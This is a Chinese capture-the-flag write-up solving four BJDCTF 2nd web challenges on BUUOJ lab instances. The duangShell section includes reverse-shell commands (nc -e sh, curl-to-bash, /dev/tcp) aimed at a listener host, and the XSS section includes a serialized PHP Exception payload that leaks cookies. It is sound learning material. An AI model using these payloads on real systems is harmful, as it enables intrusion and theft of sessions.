WEB

1.[BJDCTF 2nd]duangShell

进入页面后发现提示:how can i give you source code? .swp?!where is P3rh4ps’s girl friend ???
看样子存在源码泄露,按照之前刷Bugku,猜测.index.php.swp发现源码。拿到kali里面恢复一下:

vim -r .index.php.swp  

保存后拿到源码如下:

<?php
    error_reporting(0);
    echo "how can i give you source code? .swp?!";
    if(!isset($_POST['girl_friend'])){
        die("Where is P3rh4p's girl friend ???");
    }else{
        $girl = $_POST['girl_friend'];
        if(preg_match('/\>|\\\/',$girl)){//过滤> \
            die('just girl');
        }else if(preg_match('/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\$/i',$girl)){
            echo "no";
        }else{
            //duangShell~~~~~~
            exec($girl);
        }
    }

审计一波代码,很简单会直接exec执行我们传入的girl_friend的值。抓包后尝试tac /flag,没有反应。百度了一波exec函数回显,

string exec ( string $command [, array &$output [, int &$return_var ]] )

exec() 会执行command参数所指定的命令。

exec() 默认情况会返回指定命令结果的最后一行,指定output参数,会使用返回结果填充output;如果output参数中已经有元素,exec()会在output后面追加。

所以极有可能,命令结果最后一行为空导致无结果,继续尝试dir,scandir(‘.’)都没有结果。可以确定是无回显RCE了,那就尝试用shell反弹。
先用nc试试:

nc ip port -e sh

因为是在BUU上面做题,用小号开个linux-lab.
先查一波ip,ifconfig:174.1.82.45
然后设置监听:

nc -lvvp 9999

所以用BP传:

girl_friend=nc 174.1.82.45 9999 -e sh

然后shell反弹回来了后,尝试

cat /flag

真好啊:flag{flag-is-not-here,please-find-it-by-yourself}
用find命令直接找:
find / -name flag
出现路径:
/etc/demo/P3rh4ps/love/you/flag
最后得到flag.当然比赛的时候是BJD开头的还可以使用如下命令查找flag:
find etc -name “*” | xargs grep “BJD{“
比赛的flag:flag:BJD{D@_y0U_i0v3_p3}
也没用了现在哈哈。。
接下来试试其他反弹shell方法,由于没有过滤curl,我们尝试curl命令:
curl xxxx|bash
在此之前我们在服务器上创建一个文件bash.txt,写入反弹shell的语句:
bash -i >& /dev/tcp/174.1.82.45/2333 0>&1
然后同样监听:
nc -lvvp 2333
然后利用BP发包:
girl_friend=girl_friend=curl 174.1.82.45:2333/bash.txt|bash
shell是反弹了,还连上了,但是怎么输入命令都无效,懵逼。.

2.[BJDCTF 2nd]elementmaster
进入页面,封面是一幅漫画,嘴里一直念着元素什么的。右键查看源代码,发现两个奇怪的点,并且是hidden:

<p hidden id="506F2E">I am the real Element Masterrr!!!!!!</p>
<p hidden id="706870">@颖奇L'Amore</p>

id看起来是十六进制,去转化成string,发现:
506F2E->Po.
是不是存在元素的文件名,试试访问Po.php
发现页面存在,并且出现了一个点。这里就是脑洞了,题目名字是元素周期表,并且漫画中也提到了:
Image text
所以猜测flag可能在不同的元素文件下,因而写个脚本访问这些文件拿到组合结果(下面脚本跟着Y1ng师傅写的):

import requests
url="http://15e118c1-1533-4160-9edd-639a28a62081.node3.buuoj.cn/"
element_dic=['H', 'He', 'Li', 'Be', 'B', 'C', 'N', 'O', 'F', 'Ne', 'Na', 'Mg', 'Al', 'Si', 'P', 'S', 'Cl', 'Ar',
            'K', 'Ca', 'Sc', 'Ti', 'V', 'Cr', 'Mn', 'Fe', 'Co', 'Ni', 'Cu', 'Zn', 'Ga', 'Ge', 'As', 'Se', 'Br',
            'Kr', 'Rb', 'Sr', 'Y', 'Zr', 'Nb', 'Mo', 'Te', 'Ru', 'Rh', 'Pd', 'Ag', 'Cd', 'In', 'Sn', 'Sb', 'Te',
            'I', 'Xe', 'Cs', 'Ba', 'La', 'Ce', 'Pr', 'Nd', 'Pm', 'Sm', 'Eu', 'Gd', 'Tb', 'Dy', 'Ho', 'Er', 'Tm',
            'Yb', 'Lu', 'Hf', 'Ta', 'W', 'Re', 'Os', 'Ir', 'Pt', 'Au', 'Hg', 'Tl', 'Pb', 'Bi', 'Po', 'At', 'Rn',
            'Fr', 'Ra', 'Ac', 'Th', 'Pa', 'U', 'Np', 'Pu', 'Am', 'Cm', 'Bk', 'Cf', 'Es', 'Fm','Md', 'No', 'Lr',
            'Rf', 'Db', 'Sg', 'Bh', 'Hs', 'Mt', 'Ds', 'Rg', 'Cn', 'Nh', 'Fl', 'Mc', 'Lv', 'Ts', 'Og', 'Uue']
for i in element_dic:
    new_url=url+i+'.php'
    code=requests.get(new_url)
    if code.status_code==200:
        print(code.text,end="")#为末尾添加一个空格这样就不会导致结果换行
    else:
        continue

最后运行脚本得到:And_th3_3LemEnt5_w1LL_De5tR0y_y0u.php
访问该文件拿到php。
感觉这道题,不是很难的比赛时候没有去碰他,看做的人太少了,哎得改正怕难得态度。要迎难(男)而上。哈哈。

3.[BJDCTF 2nd]Schrödinger
这道题主要考点在cookie,当cookie置空,这时候成功率就会达到百分之99,然后会给出b站的av号,搜索找到视频,翻下评论就能找到flag.

4.[BJDCTF 2nd]XSS之光(杨大树最长)
进入页面,只有gungungun,查看源代码,以及响应头都没有提示,怀疑存在源码泄露。用dirsearch扫描一下,扫描的时候加上-s 0.5免得429了。
然后发现.git源码泄露,用GitHack拿到源码

<?php
$a = $_GET['yds_is_so_beautiful'];
echo unserialize($a);

这。。。什么类都没有序列化谁啊,比赛的时候有提示,把cookie打出来就行了,然后又是XSS之光,因而考虑JS弹cookie.这里本来想用Buu的内置liunx收cookie,但是发现:

<?php
    $cupid=new Exception("<script>window.open.href
    ('http://fc2d7e64-97c0-4470-91b1-2e87ad1e4399.node3.buuoj.cn/?yds_is_so_beautiful=
    +document.cookie')</script>");
    echo urlencode(serialize($cupid));    

将这个直接传值给yds_is_so_beautiful即可在响应头中的cookie中拿到flag,难道这就是传说中的自己XSS自己?
summary:考点主要是php原生类的反序列化,这里没有类可以序列化,考虑可以有tostring方法的类,而在toString()原生类反序列化中,常用的是Error和Exception类,但是Error是php7专有,在BP响应头的X-Powered-By: PHP/5.6.40看到是php5所以这道题用Exception.然后本身index.php会把自己的结果输出序列化出来,因而直接url中写它自己的网址即可,后面跟上document.cookie即可弹出cookie.